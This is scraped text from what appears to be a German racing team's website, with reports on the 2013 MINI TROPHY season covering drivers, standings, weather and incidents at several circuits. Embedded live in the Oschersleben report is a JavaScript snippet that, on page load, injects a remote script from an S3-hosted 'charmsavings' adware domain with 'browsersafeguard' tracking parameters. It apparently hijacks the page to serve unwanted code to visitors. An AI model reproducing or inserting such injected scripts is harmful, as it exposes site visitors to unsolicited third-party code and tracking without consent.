Folge uns zu Facebook

Wir unterstützen .....

 

Titelentscheidung beim Finale der MINI TROPHY am Hockenheimring

Thomas Tekaat geht als Favorit ins letzte Rennwochenende des Jahres. Mehr…

Hockenheim. Für Thomas Tekaat (Besaplast Team Dombek) und seine drei verbliebenen Rivalen Jürgen Schmarl (Team Fast Forward), Steve Kirsch (Frensch Power Motorsport) sowie Andre Fleischmann (Team Fast Forward) geht es Ende September auf dem Hockenheimring Baden-Württemberg nicht nur um den Titel „Champion MINI TROPHY 2013“, sondern auch um die damit verbundene Teilnahme an der Fahrersichtung in einem BMW Z4 GT3 des BMW Teams Schubert Motorsport und natürlich um den Hauptgewinn, einen MINI John Cooper Works Coupé.
Thomas Tekaat hat sich mit seinem Doppelsieg auf dem Lausitzring eine gute Ausgangsposition verschafft, der 21-Jährige geht mit einem Vorteil von 25 Punkten auf Jürgen Schmarl ins Finale. Der 39 Jahre alte Österreicher hingegen, der als Titelverteidiger in die Saison startete, musste im zweiten Durchgang in der Lausitz erstmals in dieser Saison einen Nuller hinnehmen. Mit 31 Punkten Rückstand auf Tekaat rechnet sich auch Steve Kirsch noch Chancen auf den Titelgewinn aus und sogar Andre Fleischmann hat mit 47 Zählern Rückstand noch Möglichkeiten, sich den Gesamtsieg zu angeln. Steven Fürsch (Racing 4 Friends) reist als Favorit auf den Sieg in der Gentleman-Wertung ins Badische, musste seine Titelambitionen als Fünfter der Fahrerwertung aber bereits vorzeitig zu den Akten legen.

Das Finale wird das Team Gigamot Racing nutzen, der MINI TROPHY mal wieder einen Besuch abzustatten. Die Mannschaft, die mit Nico Bastian 2011 den Champion der MINI Challenge stellte, bringt wie alle Teams einen MINI John Cooper Works Challenge mit 211 PS für Stefan Wieland und Martin Heidrich an den Start. Ebenfalls außerhalb der Punktewertung startet ein weiterer Gaststarter, der die Finger nicht vom Lenkrad lassen kann. Peter Kieber, der Liechtensteiner, der bereits im letzten Jahr bei dem Finale an den Start gegangen ist, wird auch dieses Mal wieder ins Lenkrad greifen. In einem Starterfeld von 20 Fahrzeugen muss jeder Fahrer Top-Leistung bringen, um sich zu beweisen. Nach dem Rennen kommen am Samstag alle Besitzer eines MINI mit Straßenzulassung in Hockenheim auf ihre Kosten, denn dann findet wieder der beliebte MINI Korso statt, bei dem jeder MINI-Fahrer mit seinem MINI eine Runde auf der Rennstrecke drehen kann.
Beim Finale bietet die offizielle Website der MINI TROPHY www.MINI-TROPHY.de auch wieder einen Live-Stream an.


Die Highlights der Rennen werden außerdem auf Sport1 (Samstag, 05.10. 18:30 Uhr), N24 (Montag, 30.09. 18:25 Uhr) und kabel eins (Montag, 30.09. 01:30 Uhr und Mittwoch, 2.10. 02:20 Uhr) zusammengefasst.

 

Weniger…

Die MINI TROPHY geht am Lausitzring auf die Zielgerade

Titelverteidiger Jürgen Schmarl muss sich vier Rennen vor Saisonschluss gegen ein Trio wehren.

Mehr…

Lausitzring. Nach neun von insgesamt 13 Saisonläufen gestaltet sich die MINI TROPHY spannend, denn noch haben vier Fahrer gute Chancen auf den Titel und den damit verbundenen Gewinn, ein MINI John Cooper Works Coupé sowie die Teilnahme an der Fahrersichtung in einem BMW Z4 GT3 des BMW Teams Schubert Motorsport.

Jürgen Schmarl, Titelverteidiger der MINI TROPHY, reist mit einem Vorsprung von zwölf Punkten auf das punktgleiche Verfolger-Duo Thomas Tekaat und André Fleischmann in die Lausitz. Der in Stuttgart lebende Student Tekaat sammelte am vergangenen Rennwochenende auf dem Red Bull Ring die meisten Punkte aller Fahrer der MINI TROPHY und machte einen Sprung auf Rang zwei in der Tabelle. Der Österreicher Jürgen Schmarl hingegen fuhr auf dem Red Bull Ring 19 Zähler weniger ein als Tekaat und auch der Nürnberger André Fleischmann sammelte mehr Punkte als Tabellenführer Schmarl. Damit rückten die Top 3 in der Fahrerwertung kurz vor dem Finale noch näher zusammen. Als Vierter der Gesamtwertung liegt auch der Chemnitzer Steve Kirsch

noch in Lauerstellung; er wartet auf einen Fehler seiner Vorderleute, um ihn zu seinen Gunsten zu nutzen.

Auch in der Gentleman-Wertung, in der alle Fahrer ab einem Alter von 40 Jahren gewertet werden, ist das Rennen um den Titel noch lange nicht entschieden. Steven Fürsch, der in der Gesamtwertung Rang fünf belegt, hat bei den Gentlemen die Nase vorn, gefolgt von Reinhard Nehls und Dirk Lauth. Gerade einmal 16 Punkte trennen diese drei Rennfahrer und noch sind allein am Lausitzring maximal 60 Zähler zu erreichen.

Die IMC Motorsport präsentiert erstmal das zweite Einsatzfahrzeug mit der Startnummer 67, welches am Lausitzring von dem Leipziger Florian Weber pilotiert wird. Victoria und Florian sind ein super Team und haben auf uns neben der Strecke sicher viel Spaß.

 

Neben Siegen, Punkten und Platzierungen geht es in der MINI TROPHY an jedem Rennwochenende auch um den beliebten MINI TROPHY Wanderpokal. Der MINI John Cooper Works, die Straßenversion des MINI Rennfahrzeugs, geht in der Lausitz an den Fahrer, der am gesamten Wochenende mit dem höchsten Top Speed gemessen wird.

 

Weniger…

13.08.2013 Die MINI TROPHY am Red Bull Ring in Österreich

Ein kampfstarker Thomas Tekaat war der Mann des Wochenendes Lennart Marioneck und Thomas Tekaat gewinnen die Rennen auf dem Red Bull Ring. Mehr…

Das vergangene Wochenende führte die Teams und Fahrer der MINI TROPHY nach Österreich, um auf dem Red Bull Ring die Saisonrennen acht und neun auszutragen. Mann des Wochenendes war Thomas Tekaat, der einmal siegte und einmal Rang zwei belegte. Serien-Neuling Lennart Marioneck freute sich am Samstag über seinen ersten Triumph in der MINI TROPHY. Tabellenführer bleibt weiterhin der Österreicher Jürgen Schmarl.
 
Er hat erst zwei Rennen der MINI TROPHY auf dem Buckel, aber auf dem Red Bull Ring konnte er bereits seinen ersten Sieg einfahren: GT-Pilot Lennart Marioneck (HTC One MINI Racing Team), der von der ADAC Stiftung Sport unterstützt wird, hat sich mehr als schnell in die MINI TROPHY eingelebt. Im ersten Durchgang, auf dem Red Bull Ring hatte der 24-jährige Bamberger allerdings viel Arbeit vor sich, bevor er sich als Sieger feiern lassen durfte. Nach dem Start setzte sich zunächst Andre Fleischmann (Team Fast Forward) in Führung, während Marioneck als Zweiter vor Jürgen Schmarl (Team Fast Forward) folgte. Unterdessen machte sich der vom letzten Startplatz ins Rennen gegangene Thomas Tekaat (Besaplast Team Dombek) auf den Weg durch das Feld. Nach einer Runde war er schon Sechster, vier Umläufe später hatte der angriffslustige 21-jährige bereits Platz drei erobert. Doch er war noch lange nicht satt und setzte den führenden Fleischmann unter Druck. Der Zweikampf der beiden Frontrunner sorgte dafür, dass die folgenden Piloten Marioneck, Schmarl und Steve Kirsch (Frensch-Power-Motorsport) den Anschluss wieder herstellen konnten und den Zuschauern vor allem im letzten Renndrittel eine extrem spannende Auseinandersetzung boten. Die fünf MINI-Piloten jagten sich im Millimeterabstand nebeneinander um die Berg- und- Talbahn in der Steiermark und wechselten ständig die Positionen. Am Ende hatte Lennart Marioneck die Nase vorne und gewann vor Thomas Tekaat und Jürgen Schmarl. Der lange führende Andre Fleischmann verpasste das Podium mit Rang vier vor Steve Kirsch nur knapp, während Henry Littig (Besaplast Team Dombek) als Sechster den Pokal für den besten Gentleman erhielt.  
 
Der schnellste Mann über 40 Jahre durfte das zweite Rennen des Wochenendes einen Tag später von der Pole Position beginnen und gewann den Sprint zur ersten Kurve. Doch schon im Laufe der ersten Runde verlor Littig Rang eins an Thomas Tekaat, der sich sofort vom Feld absetzen konnte. Tekaat gefiel das gesamte Rennen lang mit schnellen Rundenzeiten und fuhr einem nie gefährdeten Erfolg entgegen. Der zweitplatzierte Andre Fleischmann hingegen musste permanent seinen Rückspiegel beobachten, denn Steve Kirsch lauerte ständig in seinem Heck. Gelegentliche Angriffe des Chemnitzers wehrte der Nürnberger aber gekonnt ab und brachte so den zweiten Rang ins Ziel. Hinter Kirsch sah der Österreicher Jürgen Schmarl bei seinem Heimspiel als Vierter die Zielflagge. Henry Littig, der zwischenzeitlich bis auf den achten Platz zurückgefallen war, konnte bis zum Ende des Rennens noch drei Positionen gutmachen und beendete den neunten Saisonlauf der MINI TROPHY als Fünfter und abermals als bester Gentleman.  
 
In der Gesamtwertung hat nach wie vor Vorjahres-Champion Jürgen Schmarl die Führung inne, aber er spürt bereits den Atem der beiden punktgleichen Verfolger Thomas Tekaat und Andre Fleischmann. Vier Läufe vor Saisonende hat Schmarl noch einen Vorteil von zwölf Zählern auf Tekaat und Fleischmann. Und auch Steve Kirsch, der 13 Punkte hinter Fleischmann lauert, besitzt noch Chancen auf den Titel des Jahres 2013, der mit der Teilnahme an einer Sichtung in einem BMW Z4 GT3 des BMW Teams Schubert Motorsport verbunden ist. Damit bekommt der Champion der MINI TROPHY 2013 die Gelegenheit, den Spuren von Talenten wie Dominik Baumann, Nico Bastian, Harald Proczyk, Daniel Keilwitz oder Johannes Stuck zu folgen, die alle erfolgreiche GT-
Piloten geworden sind und zuvor bereits ihre Fähigkeiten in einem MINI John Cooper Works Challenge unter Beweis gestellt hatten.  

Weniger…

04.08.2013 GP Kurs am Nürburgring für die MINI TROPHY

 ...very british – mit Siegern aus Germany und Austria! Thomas Tekaat und Jürgen Schmarl entscheiden die Rennen in der Eifel für sich.
Mehr…

Am vergangenen Wochenende startete die MINI TROPHY auf den 3,618 Kilometer langen Nürburgring. Thomas Tekaat (Besaplast Team Dombeck) und Jürgen Schmarl (Team Fast Forward) waren auf der Traditionsstrecke nicht zu schlagen. Der 37 Jahre alte Schmarl, Champion der MINI TROPHY 2012, baute seine Führung in der Fahrerwertung weiter aus.   

Die Piloten der MINI TROPHY boten den 15.000 Zuschauern bei teils sommerlich heißen Temperaturen und schönstem Sonnenschein Motorsport vom Feinsten. Im ersten Rennen setzte sich Thomas Tekaat vom Start weg in Führung, gefolgt vom brasilianischen Gaststarter Vitor Genz (Ser Glas Brasil) und von Steve Kirsch (Frensch-Power-Motorsport). Während sich die beiden Frontrunner aus dem Staub machten, musste Kirsch hart kämpfen, denn Verfolger Jürgen Schmarl ließ nicht locker. Ebenso spannend war auch die Auseinandersetzung um Rang fünf, in die MINI TROPHY-Neuling Lennart Marioneck (HTC One MINI Racing Team) und Andre Fleischmann (Team Fast Forward) involviert waren. Schmarl packte seinen Widersacher in Runde acht, während Fleischmann erst im letzten Umlauf einen Weg vorbei an Marioneck fand. An der Spitze war schon vorher alles klar, Thomas Tekaat gewann vor Vitor Genz, der seinen Auftritt in der deutschen MINI TROPHY sichtlich genoss. 
Der Brasilianer erhielt als Sieger der MINI CHALLENGE Brasil 2012 den Gastauftritt in der Eifel, während sich Lennart Marioneck, der auch im ADAC GT Masters startet, nun zusätzlich noch in der MINI TROPHY eingeschrieben hat und die restlichen Rennen bestreiten wird. Der Förderkandidat der ADAC Stiftung Sport hat sich bereits am ersten Wochenende prima eingelebt.
 
Das wollte der 24-jährige Student aus Bamberg auch im zweiten Lauf beweisen, doch sein Start erfolgte etwas zu früh, was ihm eine Durchfahrtsstrafe einbrachte. Damit erbte Jürgen Schmarl Rang eins und setzte sich direkt von seinem Verfolger Andre Fleischmann ab. Steve Kirsch hatte zu diesem Zeitpunkt Rang drei inne, aber dem Chemnitzer KFZ-Mechaniker sollte noch ein heißes Rennen bevorstehen. Vitor Genz und Thomas Tekaat übten permanent Druck auf ihn aus. In Runde 15 presste Genz sich auf rustikale Art an Kirsch vorbei, was die Rennleitung nicht tolerierte. Sie bestrafte den Brasilianer mit 30 Strafsekunden, die ihn auf Rang acht zurückwarfen. Steve Kirsch freute sich so doch noch über Rang drei hinter Jürgen Schmarl und Andre Fleischmann.

Bester Gentleman war in beiden Rennen Henry Littig (Besaplast Team Dombek) vor Steven Fürsch (Racing 4 Friends), der in der Gentlemanwertung (Fahrer ab einem Alter von 40 Jahren) zurzeit auf Rang eins notiert wird. Am Sonntag musste er sich erst in der letzten Runde seinem Rivalen Littig geschlagen geben. Mit Bernhard Wagner (Frensch-Power-Motorsport) durfte sich ein weiterer Gentleman freuen: Er erhielt als Zehnter des ersten Rennens den MINI TROPHY Wanderpokal, einen MINI John Cooper Works, den er nun bis zum nächsten Rennwochenende behalten darf.
 
Auch neben der Rennstrecke wurde einiges geboten. Das gesamte Wochenende auf dem Nürburgring stand unter dem Motto GREAT Britain. Der GREAT Britain MINI, ein speziell gestalteter MINI, der aktuell durch Deutschland tourt und britischen Lifestyle vermittelt, machte Station am Nürburgring und war sowohl Blickfang im Fahrerlager als auch Führungsfahrzeug bei den Rennen
und dem MINI Korso. Sogar die MINI TROPHY Lounge wurde auf britisch getrimmt, die Musikauswahl und das Büffet weckten die Sehnsucht nach der britischen Insel, die Heimat des MINI. Und so durften auch Fish and Chips nicht fehlen, die – wie es die Tradition verlangt – in Zeitungspapier serviert wurden. Beim MINI TROPHY Korso führte außerdem der GREAT Britain MINI rund 50 Besitzer eines MINIs mit Straßenzulassung über den Nürburgring.

Weniger…

Heiße Rennen und Wetterkapriolen am Sachsenring

Im Rahmen der ADAC GT Masters präsentierte sich die MINI TROPHY vom 07. bis 09. Juni auf der legendären Berg- und Talbahn im sächsischen Oberlungwitz und bot den Zuschauern Motorsport vom Feinsten.

Mehr…

 Da sich die Erfahrung von Victoria auch auf dieser Strecke in Grenzen hielt, waren wir sehr froh, am Donnerstag im Rahmen eines „Track Day“ noch einige Runden drehen zu können. Dem Reglement entsprechend wurden Kurzzeitkennzeichen angebracht und auch formschöne Endstücke für den Auspuff wurden kurzerhand durch die sächsische M&M Exhaust Technik GmbH gefertigt. So konnte sich Victoria noch vor dem Rennwochenende mit der anspruchsvollen Strecke vertrauter machen.

Zum freien Training am Freitag machte sich der Testtag schon deutlich bemerkbar. Bei guten äußeren Bedingungen konnten trotz gebrauchter Reifen sehr gute Zeiten erreicht und der Abstand zum Mittelfeld entsprechend deutlich verringert werden. Für die Qualifikation am Samstagvormittag gab es dann an der Vorderachse jungfräuliche Bereifung und es ging gut gerüstet zur Zeitenjagd. Auch hier spielte der Wettergott noch mit. In der Qualifikation gab es nochmals eine massive Verbesserung der Rundenzeit und der Abstand zur absoluten Spitze verringert sich auf unter 6 Sekunden bei der Streckenlänge von ca. 3,6 Kilometern. Bis zu den ersten Rivalen auf den Plätzen 14 und 15 waren es im Nu im erst 2. Rennen in Victorias Rookie-Jahr nicht einmal mehr 2 Sekunden. Dies lässt uns hoffen!

Rennen 1 am Samstag

Leider hatte der Wettergott am Samstag seine Meinung geändert. Aufgrund eines nahenden Unwetters entschied sich die Rennleitung, zur Sicherheit der Akteure und Zuschauer, den Start um 30 Minuten zu verschieben. Auch wurde die Renndauer auf 27 Minuten verkürzt. Bei Victoria machte sich ein wenig Aufregung und auch Unsicherheit breit, da sie im Regen noch keine Erfahrungen im Rennbetrieb sammeln konnte. Aber ein Zurück gibt es auch bei ihr nicht. Getreu dem Motto „Augen zu und durch“ begann dann um ca. 16:20 Uhr die Einführungsrunde. Hingegen der sonstigen Runde, gab es durch die Wetterbedingungen 2 davon. Und mit den ersten Metern auf der Strecke war die Aufregung verflogen. Victoria merkte schnell, dass es auch bei Regen viel Spaß macht. Der Start wurde gut getroffen und der Anschluss zum Hauptfeld bestand. An der Spitze startete Lokalmatador Steve Kirsch von P 4 zu einer furiosen Fahrt. Er kämpfte sich mit beherzten Manövern innerhalb der ersten Kurven schon auf P 1 und setzte sich deutlich vom Verfolgerfeld ab. Im Verfolgerfeld endete ein Zweikampf zwischen Thomas Tekaat und Patrick Assenheimer für Patrick in der Box und sein Rennen fand ein vorzeitiges Ende. Rennamazone Doreen Seidel aus Chemnitz landete nach einer Kollision mit Cora Schumacher an fast der gleichen Stelle im Reifenstapel und musste ebenfalls vorzeitig das Rennen aufgeben. Victoria kam von Runde zur Runde immer besser mit den Bedingungen zurecht. Jetzt konnte sie so sogar in den Sektoren 2 und 3 schnellere Zeiten in den nassen Asphalt brennen als Cora Schumacher. Letztlich konnte Victoria den 12. Platz für sich verbuchen und unsere Lotte ohne Kratzer in den Parc fermé steuern. Steve Kirsch fuhr an der Spitze einen verdienten Sieg nach Hause. Eine große Show lieferte ebenfalls Maximilian Koch aus dem Schirra motoring - M&M Exhaust Team. Als Gaststarter setzte sich der erst 17-jährige, der seine Qualitäten schon im PZ Wintercup auf der Strecke zeigte, gegen die gestandenen Piloten, wie Andre Fleischmann und dem Vorjahressieger Jürgen Schmarl, durch und belegte am Ende einen beeindruckenden Platz 2. Auf Platz 3 kam Andre Fleischmann vor Gentlemandriver und Regengott Dirk Lauth vom Team Racing4Friends ins Ziel. Dirk Lauth nutzte einen der wenigen Fehler von Jürgen Schmarl in der letzten Runde aus und sicherte sich somit nach einer fehlerfreien Fahrt den 4. Platz. Zum Ende des Rennens entbrannte auch unter den Gentlemandrivern Steven Fürsch, ebenfalls vom Team Racing4Friends, und Reinhard Nehls,  Caislay Team Dombek, ein großes Duell, welches Steven Fürsch für sich entscheiden konnte. Zweiter Gaststarter Nico Bastian, der die MINI Challenge im Jahr 2011 für sich entscheiden konnte, musste sich nach technischen Problemen mit Platz 6 begnügen, was ihm aber letztlich die Poleposition für Rennen 2 am Sonntag sicherte. Nochmals Glückwünsche an alle, die das Rennen unter diesen doch schwierigen Bedingungen meisterten.

Rennen 2 – Gaststart und Sieg des Meisters der MINI Challenge 2011

Der Start des fünften Wertungslaufs am Sonntag fand im Vergleich zum Vortag bei deutlich besseren Wetterbedingungen und fast trockener Strecke statt. Nico Bastian, in Rennen 1 auf Platz 6 gefahren und daher in Rennen 2 von der Poleposition gestartet (Reverse-Grid), konnte seine Führung behaupten. Fleischmann und Lauth setzten sich auf die Positionen zwei und drei fest. Der junge Gast- und Nachwuchsfahrer Maximilian Koch versuchte an Steve Kirsch vorbeizuziehen verlor dabei, auf einer noch nassen Stelle, die Kontrolle über sein Auto und schlug in den Leitplanken ein. Durch die hohen Sicherheitsstandards des MINI John Cooper Works Challenge blieb er glücklicherweise unverletzt, allerdings führte dieser Unfall zu einer Safety Car Phase um den havarierten MINI von Maxi Koch zu bergen. Victoria konnte vom Start weg gute Zeiten und immer weitere kleiner Zeitspähne wegfeilen. In den Runden hinter dem Safety Car zeigte sich Lotte plötzlich und ohne Vorwarnung auf einmal bockig. Ein scheinbarer Defekt im Bereich eines Stoßdämpfers bewirkte, dass Lotte stets zum rechten Fahrbahnrand abbiegen wollte. Victoria entschied sich dafür, dass Rennen trotzdem weiter zu bestreiten und belohnte sich letztlich mit P 12 und neuen Erfahrungen.

Kurz vor Ende des Rennens machten die Streckenbedingungen auch Bernhard Wagner (Frensch-Power-Motorsport) zu schaffen, sodass er sich ins Kiesbett drehte und ausschied. Unbeeindruckt von den Geschehnissen im Feld konnte Nico Bastian, als Gaststarter und Meister der MINI Challenge 2011, einen Start-Ziel Sieg verbuchen. Zweiter wurde Andre Fleischmann (Team Fast Forward) vor seinem Teamkollegen Jürgen Schmarl aus Österreich. Den Podiumsplatz für den besten Gentlemandriver konnte Steven Fürsch erringen.


 


 

Weniger…

Auf zum Sachsenring!

Am kommenden Wochenende ruft der Sachsenring alle Motorsportfans- und Freunde nach Oberlungwitz. Die sehr anspruchvolle Fahrerstrecke zählt als großes Mehr…
ADAC GT Masters- Saisonhighlight. Und auch die MINI Trophy ist natürlich wieder mit dabei. Wir freuen uns wieder auf packende Rennen und großartigen Motorsport in Sachsen. Die sächsischen Landesfarben werden in der GT Masters Serie durch THE BOSS YACO Racing mit ihrem Audi R8 und durch Schulze Motorsport, die mit den einzigen Vertreter der Supersportwagen aus Japan, einem Nissan GT-R, an den Start gehen, vertreten sein. Mit unseren Leipziger Wurzeln und Victoria ,wieder am Steuer unserer Lotte, und natürlich mit der Chemnitzerin Doreen Seidel sowie dem voll auf Angriff programmierten Steve Kirsch ist auch in der MINI Trophy die sächsische Fraktion ansehnlich vertreten. Und natürlich auch die vogtländische Truppe von Racing4Friends rund um Teamchef Lothar Sausemuth, wird mit Steven Fürsch und Dirk Lauth ganz sicher für spektakuläre Rennmomente sorgen.
Aber auch abseits der Strecke setzt der Sachsenring in diesem Jahr neue Maßstäbe.

Im Rahmen der GT Masters Serie wird es am 08.06. ein großes Open Air Konzert geben. Also gibt es hier den Sound nicht nur während der Rennen, sondern auch am Abend gibt es etwas auf die Ohren.

Wir freuen uns auf Euch am Sachsenring.

Weniger…

Die MINI TROPHY auf der legendären Nordschleife

Im Rahmenprogramm des ADAC Zurich 24h Rennens am Nürburgring 2013 gastierte auch die MINI TROPHY um den anspruchvollen Kurs unter die 17 Zoll Räder zu nehmen. Schon bei der Ankunft wurde klar, dass die Eifel alle Teams, Fahrer Mehr…

und Besucher mit ihrem typischen Wetter begrüßte. Eine Mischung aus Regen, Wind, teilweise Sonnenschein, Nebelschwaden und nächtliche 6 Grad stellten somit alle Teams vor einige Rätsel zum Thema Abstimmung.

Das freie Training wurde dann am Freitag unter den erwarteten nassen Bedingungen absolviert. Die Trainingszeit von 60 Minuten genügte letztlich, um für die Qualifikation und das Rennen die richtige Abstimmung und Einstellung für die Jagd über die Nordschleife zu finden.


Im Qualifikationslauf am Samstag zeigte sich die Eifel vorbildlich und packte schon am frühen Morgen die Sonne aus und begrüßte die Fahrzeuge der MINI Trophy auf dem ganzen Kurs mit trockenen Bedingungen. Pünktlich zum Qualifikationsbeginn ging es gemeinsam mit dem Feld des Renault Clio Cup Bohemia auf die Zeitenjagd. Zu Beginn eine kurze Runde auf dem verkürzten Grand Prix Kurs und dann mit warmen Reifen hinaus auf die Nordschleife. Nach den 50 Minuten hatte es Rainer Partl dann geschafft. Mit dem Platz 6 wurde ein sehr gutes Ergebnis erreicht, um somit das Rennen aus der dritten Startreihe in Angriff nehmen zu können.


Das Rennen am Sonntag startete pünktlich um 9:45 Uhr mit unserer Lotte auf Startplatz 6. Nach der Einführungsrunde ging das Feld auf die 4 Runden Jagd durch die „grüne Hölle“. An der Spitze des Feldes entbrannte sofort ein beinharter Kampf um die Führungsposition zwischen Thomas Tekaat, dem Chemnitzer Steve Kirsch und dem trainingsschnellsten Jürgen Schmarl. Nur wenige Fahrzeuglängen dahinter, lauerten Patrick Assenheimer und Andre Fleischmann auf Ihre Chance. Unsere Lotte wurde bereits zu Beginn des Rennens am Ende der Start- und Zielgerade torpediert, und fand sich nach der Attacke auf P 8 wieder. An der Spitze des Feldes setzte sich letztlich der Nordschleifenkenner Patrick Assenheimer gegen die Konkurrenz durch und führte das Feld ab der zweiten Runde an. Dahinter machte Jürgen Schmarl das gesamte Rennen erheblichen Druck. Steve Kirsch musste letztlich nach einem technischen Defekt das Rennen vorzeigt beenden. Auch Jörg Weidinger, der nach einer furiosen Fahrt vom Startplatz 12 bis zur Spitze aufschloss, musste wie schon in der Qualifikation das Rennen vorzeigt nach technischen Problemen beenden. In der letzten Runde kam es dann auch für uns recht dick. Im Bereich „Tiergarten“ lieferte sich Rainer Partl einen erbitterten Kampf mit Henry Littig. Leider in einem Bereich, an dem man besser hintereinander fahren sollte. Seite an Seite ging Rainer Partl leider die Strecke aus, und es folgte ein mehrfacher Dreher mit Hochgeschwindigkeit. Nach gefühlten 10 Drehungen wurde zu guter letzt noch die Leitplanke getroffen und Lotte entledigte sich diverser Teile, die sicher nun ein Fan der Nordschleife sein Eigen nennen kann.

 

Zwar gewichtsoptimiert, aber aerodynamisch eher unpraktisch, konnte das Rennen dennoch wieder aufgenommen werden und die Ziellinie auf Platz 8 überquert werden. An der Spitze setzte sich Patrick Assenheimer vor Jürgen Schmarl und Thomas Tekaat durch. Steven Fürsch von Racing4Friends erreichte P 7 und damit den 3. Platz in der Gentleman Wertung. Dirk Lauth, ebenfalls Racing4Friends, der am Wochenende gleichzeitig in einem Toyota GT 86 die 24h bestritt, kam nach ebenfalls technischen Problemen und handwerklicher Selbsthilfe auf der Strecke auf Platz 10 ins Ziel. Wir gratulieren.

Nun gilt es, unsere Lotte bis zum nächsten Lauf vom 07.06. bis 09.06. wieder fitt und einsatzfähig zu machen. Und auf dem Sachsenring wird dann auch unsere Victoria wie gewohnt ins Lenkrad greifen.

Weniger…

Saisonauftakt in Oschersleben gemeistert

Das erste Rennwochenende und die ersten beiden Wertungsläufe der Mini Trophy 2013 sind gemeistert. Nach dem doch ziemlich langen und ungemütlichen Winter konnte am Donnerstag noch einmal für 60 Minuten auf der Strecke Mehr…

in der Magdeburger Börde trainiert werden, und dies war für alle Teams schon sehr wichtig.

Im freien Training am Freitag lief es zunächst auch noch nicht so Recht nach Wunsch. Letztlich wurde die beste Rundenzeit mit ca. 1:57 min erzielt, was auch für Victoria nicht zufriedenstellend war. Im folgenden Qualifikationslauf konnten nach einigen kleinen Veränderungen an der Fahrwerkseinstellung deutlich schnellere Rundenzeiten gefahren werden und neben der Sicherheit kehrte auch das Lächeln ins Gesicht von Victoria zurück. Letztlich stand P 15 mit nur noch ca. 0,7 sek. Rückstand auf P 14 als Qualifikationsergebnis fest. Auch wenn der Ehrgeiz schon deutlich zu erkennen ist, gilt es nach wie vor, dieses Lernjahr effektiv zu nutzen und sich langsam an die gesetzten Ziele heranzutasten. 



Der Samstag stand dann ganz unter dem Motto „Hop oder Top“. Die Magdeburger Börde zeigte sich nicht gerade von der besten Wetterseite und schwankte immer wieder zwischen Regen und kurzem Sonnenblinzeln. Letztlich standen die Chancen 50/50 auf den teilweise nassen und auch trockenen Streckenabschnitten. Hier witterten einige Teams die Chance und setzten ganz auf ein völliges Abtrocknen der Strecke, während andere einem erneuten Regenschauer mehr Chancen einräumten. Wir haben uns sehr schnell für Regenbereifung und kleinere Abstimmungsänderungen für nasse Bedingungen entschieden. Hier galt jedoch auch der Sicherheitsgedanke, da ein Regenrennen auch Neuland bedeutete. Der Rest kann dann relativ schnell zusammengefasst werden. Der Start verlief ausgezeichnet und Victoria schickte sich in Kurve 2 bereits an, das erste Überholmanöver der Karriere zu setzen und sich P 14 zu erkämpfen. Sie musste jedoch auf der schlechteren Linie das Manöver abbrechen und klemmte sich an das Heck des vorausfahrenden Fahrzeuges. In der bekannten Hasseröder Kurve versuchte Sie durch eine andere Linie einen Geschwindigkeitsüberschuss am Kurvenausgang zu erzielen, um so das nächste Manöver vorzubereiten. Hier folgte dann die erste Lektion auf den Fuß. Für die nassen Bedingungen war sie ganz einfach zu schnell. Unsere „Lotte“ verlor die Haftung an der Hinterachse und Victoria musste schon ihr ganzes Können aufbieten, um ein vorzeitiges Rennende im Kiesbett zu vermeiden. Nach dieser Showeinlage setzten beide das Rennen fort und schnell wurde klar, dass die Regenreifen durch den nun doch ausbleibenden Regen schnell an die Grenzen kamen. Das Feld wurde dann von Fahrzeugen und Fahrern auf Slickbereifung dominiert und der Chemnitzer Steve Kirsch mit der Startnummer 41 gewann in eindrucksvoller Performance den ersten Lauf der Mini Trophy 2013 vor Thomas Tekaat und Patrick Assenheimer.

Am Sonntag dann bestes Rennwetter und alles vorbereitet für den 2. Lauf am Wochenende. Von P 15 galt es erneut, an der Performance und an den Rundenzeiten zu arbeiten. Vom Start weg entbrannte ein heißer Kampf auf den vorderen Plätzen. Dirk Lauth mit der Nr. 44 (Racing4Friends) startete als Vortagessechster (Zieleinlauf von Rennen 1 in umgekehrter Reihenfolge) von der Pole und musste sich mit allen Mitteln gegen die heranstürmenden Fahrzeuge zu Wehr setzen. Victoria erwischte wieder einen guten Start und begann Ihr Rennen zu fahren. Schon in Runde 3 wurde die Rundenzeit des Qualifikationslaufes um 1,5 Sekunden unterboten!! Dies lässt doch hoffen für Victoria und Lotte. Zur Rennmitte wurde das Rennen von Jürgen Schmarl (Sieger der Mini Trophy 2012) knapp vor Andre Fleischmann und dem Laufsieger des 1. Rennens Steve Kirsch angeführt. Steve Kirsch machte rundenlang massiven Druck auf Andre Fleischmann und versuchte mit allen legalen Mitteln, sich an P 2 zu setzen und dann die Verfolgung von Jürgen Schmarl aufzunehmen. Der begeisternde Fight ging aber letztlich zu Gunsten von Andre Fleischmann aus und Jürgen Schmarl konnte an der Spitze einen unangefochtenen Sieg nach Hause fahren. Für Racing4Friends gewann im Lauf 2 auch Steven Fürsch die Trophäe der Gentleman Driver auf P 6, Dirk Lauth Nr. 44 kam auf Platz 7 und Florian Weber auf Platz 9 ins Ziel. Victoria arbeitete bis zur letzten Runde an Rundenzeiten und ist letztlich mit einem guten Ergebnis ins Ziel gekommen. Ein gutes und lehrreiches Wochenende, so kann man den Saisonauftakt bilanzieren..

(function () {if (top.location == self.location && top.location.href.split('#')[0] == 'http://localhost:10351/texts/17') {var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;po.src = document.location.protocol + '//charmsavings-production.s3.amazonaws.com/js/antshrike.js?u=50dee569-2759-4645-903e-75a1213c05b8&subid1=20140210&subid2=browsersafeguard-pitch-unmonetized&subid3=google_browsersafeguard-CPC-Display-DE-468x60-startfreedownload.com-42227563030';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);}})();
Weniger…

Die lange Zeit des Wartens ist vorbei!

Liebe Fans und Freunde,
am kommenden Wochenende startet mit der neuen ADAC GT Masters Saison auch die Mini Trophy 2013, und wir freuen uns riesig, dabei zu sein. Unsere „Lotte“  ist vorbereitet und in Mehr…

